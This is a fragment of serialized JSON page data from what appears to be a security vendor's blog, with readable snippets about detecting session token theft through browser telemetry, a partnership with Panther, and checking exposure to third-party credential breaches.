,"nodeType":865},{},[],{"data":190521,"content":190522,"nodeType":866},{},[190523],{"data":190524,"marks":190525,"value":180359,"nodeType":865},{},[],{"data":190527,"content":190530,"nodeType":912},{"target":190528},{"sys":190529},{"id":168425,"type":909,"linkType":910},[],{"data":190532,"content":190533,"nodeType":866},{},[190534],{"data":190535,"marks":190536,"value":180371,"nodeType":865},{},[],{"data":190538,"content":190539,"nodeType":1616},{},[190540,190559,190578,190597],{"data":190541,"content":190542,"nodeType":1570},{},[190543],{"data":190544,"content":190545,"nodeType":866},{},[190546,190549,190556],{"data":190547,"marks":190548,"value":180384,"nodeType":865},{},[],{"data":190550,"content":190551,"nodeType":889},{"uri":149610},[190552],{"data":190553,"marks":190554,"value":180392,"nodeType":865},{},[190555],{"type":943},{"data":190557,"marks":190558,"value":21,"nodeType":865},{},[],{"data":190560,"content":190561,"nodeType":1570},{},[190562],{"data":190563,"content":190564,"nodeType":866},{},[190565,190568,190575],{"data":190566,"marks":190567,"value":180405,"nodeType":865},{},[],{"data":190569,"content":190570,"nodeType":889},{"uri":180408},[190571],{"data":190572,"marks":190573,"value":180414,"nodeType":865},{},[190574],{"type":943},{"data":190576,"marks":190577,"value":21,"nodeType":865},{},[],{"data":190579,"content":190580,"nodeType":1570},{},[190581],{"data":190582,"content":190583,"nodeType":866},{},[190584,190587,190594],{"data":190585,"marks":190586,"value":180427,"nodeType":865},{},[],{"data":190588,"content":190589,"nodeType":889},{"uri":1063},[190590],{"data":190591,"marks":190592,"value":180435,"nodeType":865},{},[190593],{"type":943},{"data":190595,"marks":190596,"value":21,"nodeType":865},{},[],{"data":190598,"content":190599,"nodeType":1570},{},[190600],{"data":190601,"content":190602,"nodeType":866},{},[190603,190606,190612],{"data":190604,"marks":190605,"value":180448,"nodeType":865},{},[],{"data":190607,"content":190608,"nodeType":889},{"uri":162106},[190609],{"data":190610,"marks":190611,"value":180455,"nodeType":865},{},[],{"data":190613,"marks":190614,"value":21,"nodeType":865},{},[],{"data":190616,"content":190617,"nodeType":981},{},[190618],{"data":190619,"marks":190620,"value":180465,"nodeType":865},{},[],{"data":190622,"content":190623,"nodeType":866},{},[190624],{"data":190625,"marks":190626,"value":180472,"nodeType":865},{},[],{"data":190628,"content":190629,"nodeType":1616},{},[190630,190639],{"data":190631,"content":190632,"nodeType":1570},{},[190633],{"data":190634,"content":190635,"nodeType":866},{},[190636],{"data":190637,"marks":190638,"value":180485,"nodeType":865},{},[],{"data":190640,"content":190641,"nodeType":1570},{},[190642],{"data":190643,"content":190644,"nodeType":866},{},[190645],{"data":190646,"marks":190647,"value":180495,"nodeType":865},{},[],{"data":190649,"content":190650,"nodeType":866},{},[190651],{"data":190652,"marks":190653,"value":180502,"nodeType":865},{},[],{"data":190655,"content":190656,"nodeType":866},{},[190657],{"data":190658,"marks":190659,"value":180509,"nodeType":865},{},[],{"data":190661,"content":190662,"nodeType":981},{},[190663],{"data":190664,"marks":190665,"value":180516,"nodeType":865},{},[],{"data":190667,"content":190668,"nodeType":866},{},[190669],{"data":190670,"marks":190671,"value":180523,"nodeType":865},{},[],{"data":190673,"content":190674,"nodeType":866},{},[190675],{"data":190676,"marks":190677,"value":180530,"nodeType":865},{},[],{"data":190679,"content":190680,"nodeType":866},{},[190681],{"data":190682,"marks":190683,"value":158312,"nodeType":865},{},[],{"data":190685,"content":190686,"nodeType":1616},{},[190687,190696,190705],{"data":190688,"content":190689,"nodeType":1570},{},[190690],{"data":190691,"content":190692,"nodeType":866},{},[190693],{"data":190694,"marks":190695,"value":180549,"nodeType":865},{},[],{"data":190697,"content":190698,"nodeType":1570},{},[190699],{"data":190700,"content":190701,"nodeType":866},{},[190702],{"data":190703,"marks":190704,"value":180559,"nodeType":865},{},[],{"data":190706,"content":190707,"nodeType":1570},{},[190708],{"data":190709,"content":190710,"nodeType":866},{},[190711,190714,190718,190721,190725],{"data":190712,"marks":190713,"value":180569,"nodeType":865},{},[],{"data":190715,"marks":190716,"value":125754,"nodeType":865},{},[190717],{"type":898},{"data":190719,"marks":190720,"value":180577,"nodeType":865},{},[],{"data":190722,"marks":190723,"value":126795,"nodeType":865},{},[190724],{"type":898},{"data":190726,"marks":190727,"value":180585,"nodeType":865},{},[],{"data":190729,"content":190730,"nodeType":866},{},[190731],{"data":190732,"marks":190733,"value":180592,"nodeType":865},{},[],{"data":190735,"content":190738,"nodeType":912},{"target":190736},{"sys":190737},{"id":126761,"type":909,"linkType":910},[],{"data":190740,"content":190741,"nodeType":866},{},[190742,190745,190752],{"data":190743,"marks":190744,"value":180604,"nodeType":865},{},[],{"data":190746,"content":190747,"nodeType":889},{"uri":180276},[190748],{"data":190749,"marks":190750,"value":60907,"nodeType":865},{},[190751],{"type":943},{"data":190753,"marks":190754,"value":1615,"nodeType":865},{},[],{"data":190756,"content":190759,"nodeType":912},{"target":190757},{"sys":190758},{"id":180619,"type":909,"linkType":910},[],{"data":190761,"content":190762,"nodeType":981},{},[190763],{"data":190764,"marks":190765,"value":180627,"nodeType":865},{},[],{"data":190767,"content":190768,"nodeType":866},{},[190769],{"data":190770,"marks":190771,"value":180634,"nodeType":865},{},[],{"data":190773,"content":190774,"nodeType":866},{},[190775],{"data":190776,"marks":190777,"value":180641,"nodeType":865},{},[],{"data":190779,"content":190780,"nodeType":866},{},[190781],{"data":190782,"marks":190783,"value":180648,"nodeType":865},{},[],{"data":190785,"content":190786,"nodeType":866},{},[190787],{"data":190788,"marks":190789,"value":180655,"nodeType":865},{},[],{"data":190791,"content":190792,"nodeType":866},{},[190793],{"data":190794,"marks":190795,"value":180662,"nodeType":865},{},[],{"data":190797,"content":190798,"nodeType":866},{},[190799],{"data":190800,"marks":190801,"value":180669,"nodeType":865},{},[],{"data":190803,"content":190804,"nodeType":981},{},[190805],{"data":190806,"marks":190807,"value":113824,"nodeType":865},{},[],{"data":190809,"content":190810,"nodeType":866},{},[190811,190814,190821],{"data":190812,"marks":190813,"value":126944,"nodeType":865},{},[],{"data":190815,"content":190816,"nodeType":889},{"uri":16069},[190817],{"data":190818,"marks":190819,"value":14066,"nodeType":865},{},[190820],{"type":943},{"data":190822,"marks":190823,"value":180692,"nodeType":865},{},[],{"items":190825},[190826,190828],{"sys":190827,"name":342},{"id":4642},{"sys":190829,"name":126984},{"id":126983},{"items":190831},[190832],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":190833},{"url":6503},{"__typename":1429,"sys":190835,"content":190836,"title":189955,"synopsis":189956,"hashTags":59,"publishedDate":189957,"slug":189958,"tagsCollection":191246,"authorsCollection":191252},{"id":189482},{"json":190837},{"data":190838,"content":190839,"nodeType":1382},{},[190840,190846,190852,190858,190864,190870,190876,190882,190888,190894,190910,190926,190932,190938,190954,190960,190970,191007,191013,191029,191036,191042,191048,191054,191060,191066,191124,191130,191135,191141,191147,191153,191159,191175,191181,191187,191193,191199,191205,191211,191217,191223,191229,191234,191240],{"data":190841,"content":190842,"nodeType":866},{},[190843],{"data":190844,"marks":190845,"value":189493,"nodeType":865},{},[],{"data":190847,"content":190848,"nodeType":866},{},[190849],{"data":190850,"marks":190851,"value":189500,"nodeType":865},{},[],{"data":190853,"content":190854,"nodeType":866},{},[190855],{"data":190856,"marks":190857,"value":189507,"nodeType":865},{},[],{"data":190859,"content":190860,"nodeType":866},{},[190861],{"data":190862,"marks":190863,"value":189514,"nodeType":865},{},[],{"data":190865,"content":190866,"nodeType":866},{},[190867],{"data":190868,"marks":190869,"value":189521,"nodeType":865},{},[],{"data":190871,"content":190872,"nodeType":981},{},[190873],{"data":190874,"marks":190875,"value":189528,"nodeType":865},{},[],{"data":190877,"content":190878,"nodeType":866},{},[190879],{"data":190880,"marks":190881,"value":189535,"nodeType":865},{},[],{"data":190883,"content":190884,"nodeType":866},{},[190885],{"data":190886,"marks":190887,"value":189542,"nodeType":865},{},[],{"data":190889,"content":190890,"nodeType":866},{},[190891],{"data":190892,"marks":190893,"value":189549,"nodeType":865},{},[],{"data":190895,"content":190896,"nodeType":1616},{},[190897],{"data":190898,"content":190899,"nodeType":1570},{},[190900],{"data":190901,"content":190902,"nodeType":866},{},[190903,190907],{"data":190904,"marks":190905,"value":189563,"nodeType":865},{},[190906],{"type":926},{"data":190908,"marks":190909,"value":189567,"nodeType":865},{},[],{"data":190911,"content":190912,"nodeType":1616},{},[190913],{"data":190914,"content":190915,"nodeType":1570},{},[190916],{"data":190917,"content":190918,"nodeType":866},{},[190919,190923],{"data":190920,"marks":190921,"value":189581,"nodeType":865},{},[190922],{"type":926},{"data":190924,"marks":190925,"value":189585,"nodeType":865},{},[],{"data":190927,"content":190928,"nodeType":1317},{},[190929],{"data":190930,"marks":190931,"value":189592,"nodeType":865},{},[],{"data":190933,"content":190934,"nodeType":866},{},[190935],{"data":190936,"marks":190937,"value":189599,"nodeType":865},{},[],{"data":190939,"content":190940,"nodeType":866},{},[190941,190944,190951],{"data":190942,"marks":190943,"value":189606,"nodeType":865},{},[],{"data":190945,"content":190946,"nodeType":889},{"uri":182628},[190947],{"data":190948,"marks":190949,"value":189614,"nodeType":865},{},[190950],{"type":943},{"data":190952,"marks":190953,"value":189618,"nodeType":865},{},[],{"data":190955,"content":190956,"nodeType":866},{},[190957],{"data":190958,"marks":190959,"value":189625,"nodeType":865},{},[],{"data":190961,"content":190962,"nodeType":866},{},[190963,190966],{"data":190964,"marks":190965,"value":189632,"nodeType":865},{},[],{"data":190967,"marks":190968,"value":189637,"nodeType":865},{},[190969],{"type":926},{"data":190971,"content":190972,"nodeType":1616},{},[190973,190990],{"data":190974,"content":190975,"nodeType":1570},{},[190976],{"data":190977,"content":190978,"nodeType":866},{},[190979,190983,190986],{"data":190980,"marks":190981,"value":189651,"nodeType":865},{},[190982],{"type":926},{"data":190984,"marks":190985,"value":189655,"nodeType":865},{},[],{"data":190987,"marks":190988,"value":189660,"nodeType":865},{},[190989],{"type":898},{"data":190991,"content":190992,"nodeType":1570},{},[190993],{"data":190994,"content":190995,"nodeType":866},{},[190996,191000,191003],{"data":190997,"marks":190998,"value":189671,"nodeType":865},{},[190999],{"type":926},{"data":191001,"marks":191002,"value":189675,"nodeType":865},{},[],{"data":191004,"marks":191005,"value":189680,"nodeType":865},{},[191006],{"type":926},{"data":191008,"content":191009,"nodeType":866},{},[191010],{"data":191011,"marks":191012,"value":189687,"nodeType":865},{},[],{"data":191014,"content":191015,"nodeType":866},{},[191016,191020,191025],{"data":191017,"marks":191018,"value":189695,"nodeType":865},{},[191019],{"type":926},{"data":191021,"marks":191022,"value":189701,"nodeType":865},{},[191023,191024],{"type":898},{"type":926},{"data":191026,"marks":191027,"value":189706,"nodeType":865},{},[191028],{"type":926},{"data":191030,"content":191031,"nodeType":981},{},[191032],{"data":191033,"marks":191034,"value":189714,"nodeType":865},{},[191035],{"type":926},{"data":191037,"content":191038,"nodeType":866},{},[191039],{"data":191040,"marks":191041,"value":189721,"nodeType":865},{},[],{"data":191043,"content":191044,"nodeType":866},{},[191045],{"data":191046,"marks":191047,"value":189728,"nodeType":865},{},[],{"data":191049,"content":191050,"nodeType":866},{},[191051],{"data":191052,"marks":191053,"value":189735,"nodeType":865},{},[],{"data":191055,"content":191056,"nodeType":866},{},[191057],{"data":191058,"marks":191059,"value":189742,"nodeType":865},{},[],{"data":191061,"content":191062,"nodeType":866},{},[191063],{"data":191064,"marks":191065,"value":189749,"nodeType":865},{},[],{"data":191067,"content":191068,"nodeType":1616},{},[191069,191088,191106],{"data":191070,"content":191071,"nodeType":1570},{},[191072],{"data":191073,"content":191074,"nodeType":866},{},[191075,191078,191085],{"data":191076,"marks":191077,"value":21,"nodeType":865},{},[],{"data":191079,"content":191080,"nodeType":889},{"uri":67859},[191081],{"data":191082,"marks":191083,"value":189769,"nodeType":865},{},[191084],{"type":943},{"data":191086,"marks":191087,"value":189773,"nodeType":865},{},[],{"data":191089,"content":191090,"nodeType":1570},{},[191091],{"data":191092,"content":191093,"nodeType":866},{},[191094,191097,191103],{"data":191095,"marks":191096,"value":21,"nodeType":865},{},[],{"data":191098,"content":191099,"nodeType":889},{"uri":131844},[191100],{"data":191101,"marks":191102,"value":189789,"nodeType":865},{},[],{"data":191104,"marks":191105,"value":189793,"nodeType":865},{},[],{"data":191107,"content":191108,"nodeType":1570},{},[191109],{"data":191110,"content":191111,"nodeType":866},{},[191112,191115,191121],{"data":191113,"marks":191114,"value":21,"nodeType":865},{},[],{"data":191116,"content":191117,"nodeType":889},{"uri":189805},[191118],{"data":191119,"marks":191120,"value":189810,"nodeType":865},{},[],{"data":191122,"marks":191123,"value":189814,"nodeType":865},{},[],{"data":191125,"content":191126,"nodeType":866},{},[191127],{"data":191128,"marks":191129,"value":189821,"nodeType":865},{},[],{"data":191131,"content":191134,"nodeType":912},{"target":191132},{"sys":191133},{"id":167791,"type":909,"linkType":910},[],{"data":191136,"content":191137,"nodeType":866},{},[191138],{"data":191139,"marks":191140,"value":189833,"nodeType":865},{},[],{"data":191142,"content":191143,"nodeType":981},{},[191144],{"data":191145,"marks":191146,"value":189840,"nodeType":865},{},[],{"data":191148,"content":191149,"nodeType":866},{},[191150],{"data":191151,"marks":191152,"value":189847,"nodeType":865},{},[],{"data":191154,"content":191155,"nodeType":1317},{},[191156],{"data":191157,"marks":191158,"value":189854,"nodeType":865},{},[],{"data":191160,"content":191161,"nodeType":866},{},[191162,191165,191172],{"data":191163,"marks":191164,"value":189861,"nodeType":865},{},[],{"data":191166,"content":191167,"nodeType":889},{"uri":147665},[191168],{"data":191169,"marks":191170,"value":189869,"nodeType":865},{},[191171],{"type":943},{"data":191173,"marks":191174,"value":189873,"nodeType":865},{},[],{"data":191176,"content":191177,"nodeType":866},{},[191178],{"data":191179,"marks":191180,"value":189880,"nodeType":865},{},[],{"data":191182,"content":191183,"nodeType":866},{},[191184],{"data":191185,"marks":191186,"value":189887,"nodeType":865},{},[],{"data":191188,"content":191189,"nodeType":866},{},[191190],{"data":191191,"marks":191192,"value":189894,"nodeType":865},{},[],{"data":191194,"content":191195,"nodeType":1317},{},[191196],{"data":191197,"marks":191198,"value":189901,"nodeType":865},{},[],{"data":191200,"content":191201,"nodeType":866},{},[191202],{"data":191203,"marks":191204,"value":189908,"nodeType":865},{},[],{"data":191206,"content":191207,"nodeType":866},{},[191208],{"data":191209,"marks":191210,"value":189915,"nodeType":865},{},[],{"data":191212,"content":191213,"nodeType":1317},{},[191214],{"data":191215,"marks":191216,"value":189922,"nodeType":865},{},[],{"data":191218,"content":191219,"nodeType":866},{},[191220],{"data":191221,"marks":191222,"value":189929,"nodeType":865},{},[],{"data":191224,"content":191225,"nodeType":866},{},[191226],{"data":191227,"marks":191228,"value":189936,"nodeType":865},{},[],{"data":191230,"content":191233,"nodeType":912},{"target":191231},{"sys":191232},{"id":182822,"type":909,"linkType":910},[],{"data":191235,"content":191236,"nodeType":981},{},[191237],{"data":191238,"marks":191239,"value":57175,"nodeType":865},{},[],{"data":191241,"content":191242,"nodeType":866},{},[191243],{"data":191244,"marks":191245,"value":189954,"nodeType":865},{},[],{"items":191247},[191248,191250],{"sys":191249,"name":342},{"id":4642},{"sys":191251,"name":7796},{"id":7795},{"items":191253},[191254],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":191255},{"url":7804},"blog/combining-the-powers-of-push-and-panther-to-stop-identity-attacks",{"json":191258},{"data":191259,"content":191260,"nodeType":1382},{},[191261],{"data":191262,"content":191263,"nodeType":866},{},[191264],{"data":191265,"marks":191266,"value":191267,"nodeType":865},{},[],"Push is excited to partner with Panther to help security teams correlate Push’s unique browser telemetry with existing log sources to detect and stop identity attacks, including session token theft and adversary-in-the-middle phishing toolkits.",{"id":126579,"publishedAt":191269},"2026-08-12T11:55:16.149Z",{"items":191271},[191272,191274],{"sys":191273,"name":342},{"id":4642},{"sys":191275,"name":126984},{"id":126983},{"items":191277},[191278,191280,191282,191284,191286,191288,191290,191292,191294],{"sys":191279,"name":342,"slug":343,"tier":31},{"id":339},{"sys":191281,"name":297,"slug":298,"tier":31},{"id":294},{"sys":191283,"name":413,"slug":414,"tier":31},{"id":410},{"sys":191285,"name":571,"slug":572,"tier":45},{"id":568},{"sys":191287,"name":261,"slug":262,"tier":45},{"id":258},{"sys":191289,"name":598,"slug":599,"tier":45},{"id":595},{"sys":191291,"name":351,"slug":352,"tier":45},{"id":348},{"sys":191293,"name":404,"slug":405,"tier":45},{"id":401},{"sys":191295,"name":422,"slug":423,"tier":45},{"id":419},"SWuvU32kbgyJCvPj9PWgRwYze-n9Gq__WLqggK6QCag",{"id":191298,"title":180693,"authorsCollection":191299,"content":191303,"extension":228,"faqItemsCollection":191754,"faqTitle":59,"featured":6,"hashTags":59,"meta":191756,"metaTitle":191757,"ogImage":59,"postType":87741,"publishedDate":126975,"relatedBlogPostsCollection":191758,"slug":180695,"stem":192994,"subtitle":59,"summary":192995,"synopsis":180694,"sys":193006,"tagsCollection":193008,"topicsCollection":193014,"__hash__":193038},"blog/blog/introducing-session-token-theft-detection-why-browser-is-best.json",{"items":191300},[191301],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":191302},{"url":6503},{"json":191304,"links":191728},{"data":191305,"content":191306,"nodeType":1382},{},[191307,191312,191318,191348,191354,191370,191376,191412,191418,191424,191430,191435,191441,191519,191525,191531,191552,191558,191564,191570,191576,191582,191588,191632,191638,191643,191659,191664,191670,191676,191682,191688,191694,191700,191706,191712],{"data":191308,"content":191311,"nodeType":912},{"target":191309},{"sys":191310},{"id":180218,"type":909,"linkType":910},[],{"data":191313,"content":191314,"nodeType":866},{},[191315],{"data":191316,"marks":191317,"value":180226,"nodeType":865},{},[],{"data":191319,"content":191320,"nodeType":1616},{},[191321,191330,191339],{"data":191322,"content":191323,"nodeType":1570},{},[191324],{"data":191325,"content":191326,"nodeType":866},{},[191327],{"data":191328,"marks":191329,"value":180239,"nodeType":865},{},[],{"data":191331,"content":191332,"nodeType":1570},{},[191333],{"data":191334,"content":191335,"nodeType":866},{},[191336],{"data":191337,"marks":191338,"value":180249,"nodeType":865},{},[],{"data":191340,"content":191341,"nodeType":1570},{},[191342],{"data":191343,"content":191344,"nodeType":866},{},[191345],{"data":191346,"marks":191347,"value":180259,"nodeType":865},{},[],{"data":191349,"content":191350,"nodeType":866},{},[191351],{"data":191352,"marks":191353,"value":180266,"nodeType":865},{},[],{"data":191355,"content":191356,"nodeType":866},{},[191357,191360,191367],{"data":191358,"marks":191359,"value":180273,"nodeType":865},{},[],{"data":191361,"content":191362,"nodeType":889},{"uri":180276},[191363],{"data":191364,"marks":191365,"value":132143,"nodeType":865},{},[191366],{"type":943},{"data":191368,"marks":191369,"value":180285,"nodeType":865},{},[],{"data":191371,"content":191372,"nodeType":981},{},[191373],{"data":191374,"marks":191375,"value":180292,"nodeType":865},{},[],{"data":191377,"content":191378,"nodeType":866},{},[191379,191382,191389,191392,191399,191402,191409],{"data":191380,"marks":191381,"value":180299,"nodeType":865},{},[],{"data":191383,"content":191384,"nodeType":889},{"uri":180302},[191385],{"data":191386,"marks":191387,"value":180308,"nodeType":865},{},[191388],{"type":943},{"data":191390,"marks":191391,"value":180312,"nodeType":865},{},[],{"data":191393,"content":191394,"nodeType":889},{"uri":180315},[191395],{"data":191396,"marks":191397,"value":180321,"nodeType":865},{},[191398],{"type":943},{"data":191400,"marks":191401,"value":180325,"nodeType":865},{},[],{"data":191403,"content":191404,"nodeType":889},{"uri":180328},[191405],{"data":191406,"marks":191407,"value":180334,"nodeType":865},{},[191408],{"type":943},{"data":191410,"marks":191411,"value":180338,"nodeType":865},{},[],{"data":191413,"content":191414,"nodeType":866},{},[191415],{"data":191416,"marks":191417,"value":180345,"nodeType":865},{},[],{"data":191419,"content":191420,"nodeType":866},{},[191421],{"data":191422,"marks":191423,"value":180352,"nodeType":865},{},[],{"data":191425,"content":191426,"nodeType":866},{},[191427],{"data":191428,"marks":191429,"value":180359,"nodeType":865},{},[],{"data":191431,"content":191434,"nodeType":912},{"target":191432},{"sys":191433},{"id":168425,"type":909,"linkType":910},[],{"data":191436,"content":191437,"nodeType":866},{},[191438],{"data":191439,"marks":191440,"value":180371,"nodeType":865},{},[],{"data":191442,"content":191443,"nodeType":1616},{},[191444,191463,191482,191501],{"data":191445,"content":191446,"nodeType":1570},{},[191447],{"data":191448,"content":191449,"nodeType":866},{},[191450,191453,191460],{"data":191451,"marks":191452,"value":180384,"nodeType":865},{},[],{"data":191454,"content":191455,"nodeType":889},{"uri":149610},[191456],{"data":191457,"marks":191458,"value":180392,"nodeType":865},{},[191459],{"type":943},{"data":191461,"marks":191462,"value":21,"nodeType":865},{},[],{"data":191464,"content":191465,"nodeType":1570},{},[191466],{"data":191467,"content":191468,"nodeType":866},{},[191469,191472,191479],{"data":191470,"marks":191471,"value":180405,"nodeType":865},{},[],{"data":191473,"content":191474,"nodeType":889},{"uri":180408},[191475],{"data":191476,"marks":191477,"value":180414,"nodeType":865},{},[191478],{"type":943},{"data":191480,"marks":191481,"value":21,"nodeType":865},{},[],{"data":191483,"content":191484,"nodeType":1570},{},[191485],{"data":191486,"content":191487,"nodeType":866},{},[191488,191491,191498],{"data":191489,"marks":191490,"value":180427,"nodeType":865},{},[],{"data":191492,"content":191493,"nodeType":889},{"uri":1063},[191494],{"data":191495,"marks":191496,"value":180435,"nodeType":865},{},[191497],{"type":943},{"data":191499,"marks":191500,"value":21,"nodeType":865},{},[],{"data":191502,"content":191503,"nodeType":1570},{},[191504],{"data":191505,"content":191506,"nodeType":866},{},[191507,191510,191516],{"data":191508,"marks":191509,"value":180448,"nodeType":865},{},[],{"data":191511,"content":191512,"nodeType":889},{"uri":162106},[191513],{"data":191514,"marks":191515,"value":180455,"nodeType":865},{},[],{"data":191517,"marks":191518,"value":21,"nodeType":865},{},[],{"data":191520,"content":191521,"nodeType":981},{},[191522],{"data":191523,"marks":191524,"value":180465,"nodeType":865},{},[],{"data":191526,"content":191527,"nodeType":866},{},[191528],{"data":191529,"marks":191530,"value":180472,"nodeType":865},{},[],{"data":191532,"content":191533,"nodeType":1616},{},[191534,191543],{"data":191535,"content":191536,"nodeType":1570},{},[191537],{"data":191538,"content":191539,"nodeType":866},{},[191540],{"data":191541,"marks":191542,"value":180485,"nodeType":865},{},[],{"data":191544,"content":191545,"nodeType":1570},{},[191546],{"data":191547,"content":191548,"nodeType":866},{},[191549],{"data":191550,"marks":191551,"value":180495,"nodeType":865},{},[],{"data":191553,"content":191554,"nodeType":866},{},[191555],{"data":191556,"marks":191557,"value":180502,"nodeType":865},{},[],{"data":191559,"content":191560,"nodeType":866},{},[191561],{"data":191562,"marks":191563,"value":180509,"nodeType":865},{},[],{"data":191565,"content":191566,"nodeType":981},{},[191567],{"data":191568,"marks":191569,"value":180516,"nodeType":865},{},[],{"data":191571,"content":191572,"nodeType":866},{},[191573],{"data":191574,"marks":191575,"value":180523,"nodeType":865},{},[],{"data":191577,"content":191578,"nodeType":866},{},[191579],{"data":191580,"marks":191581,"value":180530,"nodeType":865},{},[],{"data":191583,"content":191584,"nodeType":866},{},[191585],{"data":191586,"marks":191587,"value":158312,"nodeType":865},{},[],{"data":191589,"content":191590,"nodeType":1616},{},[191591,191600,191609],{"data":191592,"content":191593,"nodeType":1570},{},[191594],{"data":191595,"content":191596,"nodeType":866},{},[191597],{"data":191598,"marks":191599,"value":180549,"nodeType":865},{},[],{"data":191601,"content":191602,"nodeType":1570},{},[191603],{"data":191604,"content":191605,"nodeType":866},{},[191606],{"data":191607,"marks":191608,"value":180559,"nodeType":865},{},[],{"data":191610,"content":191611,"nodeType":1570},{},[191612],{"data":191613,"content":191614,"nodeType":866},{},[191615,191618,191622,191625,191629],{"data":191616,"marks":191617,"value":180569,"nodeType":865},{},[],{"data":191619,"marks":191620,"value":125754,"nodeType":865},{},[191621],{"type":898},{"data":191623,"marks":191624,"value":180577,"nodeType":865},{},[],{"data":191626,"marks":191627,"value":126795,"nodeType":865},{},[191628],{"type":898},{"data":191630,"marks":191631,"value":180585,"nodeType":865},{},[],{"data":191633,"content":191634,"nodeType":866},{},[191635],{"data":191636,"marks":191637,"value":180592,"nodeType":865},{},[],{"data":191639,"content":191642,"nodeType":912},{"target":191640},{"sys":191641},{"id":126761,"type":909,"linkType":910},[],{"data":191644,"content":191645,"nodeType":866},{},[191646,191649,191656],{"data":191647,"marks":191648,"value":180604,"nodeType":865},{},[],{"data":191650,"content":191651,"nodeType":889},{"uri":180276},[191652],{"data":191653,"marks":191654,"value":60907,"nodeType":865},{},[191655],{"type":943},{"data":191657,"marks":191658,"value":1615,"nodeType":865},{},[],{"data":191660,"content":191663,"nodeType":912},{"target":191661},{"sys":191662},{"id":180619,"type":909,"linkType":910},[],{"data":191665,"content":191666,"nodeType":981},{},[191667],{"data":191668,"marks":191669,"value":180627,"nodeType":865},{},[],{"data":191671,"content":191672,"nodeType":866},{},[191673],{"data":191674,"marks":191675,"value":180634,"nodeType":865},{},[],{"data":191677,"content":191678,"nodeType":866},{},[191679],{"data":191680,"marks":191681,"value":180641,"nodeType":865},{},[],{"data":191683,"content":191684,"nodeType":866},{},[191685],{"data":191686,"marks":191687,"value":180648,"nodeType":865},{},[],{"data":191689,"content":191690,"nodeType":866},{},[191691],{"data":191692,"marks":191693,"value":180655,"nodeType":865},{},[],{"data":191695,"content":191696,"nodeType":866},{},[191697],{"data":191698,"marks":191699,"value":180662,"nodeType":865},{},[],{"data":191701,"content":191702,"nodeType":866},{},[191703],{"data":191704,"marks":191705,"value":180669,"nodeType":865},{},[],{"data":191707,"content":191708,"nodeType":981},{},[191709],{"data":191710,"marks":191711,"value":113824,"nodeType":865},{},[],{"data":191713,"content":191714,"nodeType":866},{},[191715,191718,191725],{"data":191716,"marks":191717,"value":126944,"nodeType":865},{},[],{"data":191719,"content":191720,"nodeType":889},{"uri":16069},[191721],{"data":191722,"marks":191723,"value":14066,"nodeType":865},{},[191724],{"type":943},{"data":191726,"marks":191727,"value":180692,"nodeType":865},{},[],{"entries":191729},{"hyperlink":191730,"inline":191731,"block":191732},[],[],[191733,191741,191744,191747],{"sys":191734,"__typename":131392,"title":191735,"youTubeUrl":191736,"imagePlaceholder":191737},{"id":180218},"Introducing session token theft detection with Push","https://www.youtube.com/watch?v=p4UCfeTs_po",{"url":191738,"width":191739,"height":191740},"https://images.ctfassets.net/y1cdw1ablpvd/3HHLFnvZ0hkovL7MJMGQN2/d82ab3a6757201d2cf9869ade89c9091/Screenshot_2024-08-15_at_07.15.04.png",3358,1888,{"sys":191742,"__typename":1390,"title":176726,"caption":176726,"layoutMode":59,"file":191743},{"id":168425},{"url":176728,"width":16,"height":176729},{"sys":191745,"__typename":1390,"title":190379,"caption":190380,"layoutMode":59,"file":191746},{"id":126761},{"url":190382,"width":55424,"height":129363},{"sys":191748,"__typename":1390,"title":191749,"caption":191749,"layoutMode":59,"file":191750},{"id":180619},"Sample syntax for querying session theft in a SIEM.",{"url":191751,"width":191752,"height":191753},"https://images.ctfassets.net/y1cdw1ablpvd/1eutG6NRlAHZB3w335MJzR/7708168c4ae2a28e4f2470e5f49e8138/image2.png",735,115,{"items":191755},[],{},"Detecting session token theft using Push browser telemetry",{"items":191759},[191760,192155,192577],{"__typename":1429,"sys":191761,"content":191763,"title":192141,"synopsis":192142,"hashTags":59,"publishedDate":192143,"slug":192144,"tagsCollection":192145,"authorsCollection":192151},{"id":191762},"4pXsh0RffPhT783P6CNlOA",{"json":191764},{"data":191765,"content":191766,"nodeType":1382},{},[191767,191774,191781,191787,191794,191801,191808,191815,191822,191829,191892,191898,191905,191912,191927,191934,191941,191948,191955,191962,191969,191979,191986,191992,191999,192006,192013,192020,192027,192033,192040,192059,192066,192073,192080,192123],{"data":191768,"content":191769,"nodeType":866},{},[191770],{"data":191771,"marks":191772,"value":191773,"nodeType":865},{},[],"When the media reports that a popular third-party service provider has suffered a breach and stolen credentials are being sold online, it’s inevitable for your security team to get asked, “Are we affected by this?”",{"data":191775,"content":191776,"nodeType":866},{},[191777],{"data":191778,"marks":191779,"value":191780,"nodeType":865},{},[],"Push helps its customers to answer this question in seconds and with absolute certainty. Here’s how.",{"data":191782,"content":191786,"nodeType":912},{"target":191783},{"sys":191784},{"id":191785,"type":909,"linkType":910},"56lMG3VskDDU1dUHzgQxFK",[],{"data":191788,"content":191789,"nodeType":981},{},[191790],{"data":191791,"marks":191792,"value":191793,"nodeType":865},{},[],"Step 1: Are we using the breached service?",{"data":191795,"content":191796,"nodeType":866},{},[191797],{"data":191798,"marks":191799,"value":191800,"nodeType":865},{},[],"If this service is IT-managed in your organization, then you can probably answer this relatively quickly – at least for the tenant that is IT-managed. If it’s not, then you're going to need to check. ",{"data":191802,"content":191803,"nodeType":866},{},[191804],{"data":191805,"marks":191806,"value":191807,"nodeType":865},{},[],"That’s because end-users increasingly create SaaS accounts and tenants themselves without going through IT. When a third-party data breach hits the headlines, security teams are often surprised to find out that they have people in their organizations using that service.",{"data":191809,"content":191810,"nodeType":866},{},[191811],{"data":191812,"marks":191813,"value":191814,"nodeType":865},{},[],"Push uses a browser agent to track every login to every application made by your employees. It offers ground truth for answering questions like: Are we using the service? Who in the business is using it, and how are they accessing it?",{"data":191816,"content":191817,"nodeType":866},{},[191818],{"data":191819,"marks":191820,"value":191821,"nodeType":865},{},[],"Push can also highlight issues like missing MFA and if an employee is re-using the same password across multiple services — vital information if user credentials for the breached service have been leaked.",{"data":191823,"content":191824,"nodeType":866},{},[191825],{"data":191826,"marks":191827,"value":191828,"nodeType":865},{},[],"There are other data sources that can be used, but they all have their drawbacks:    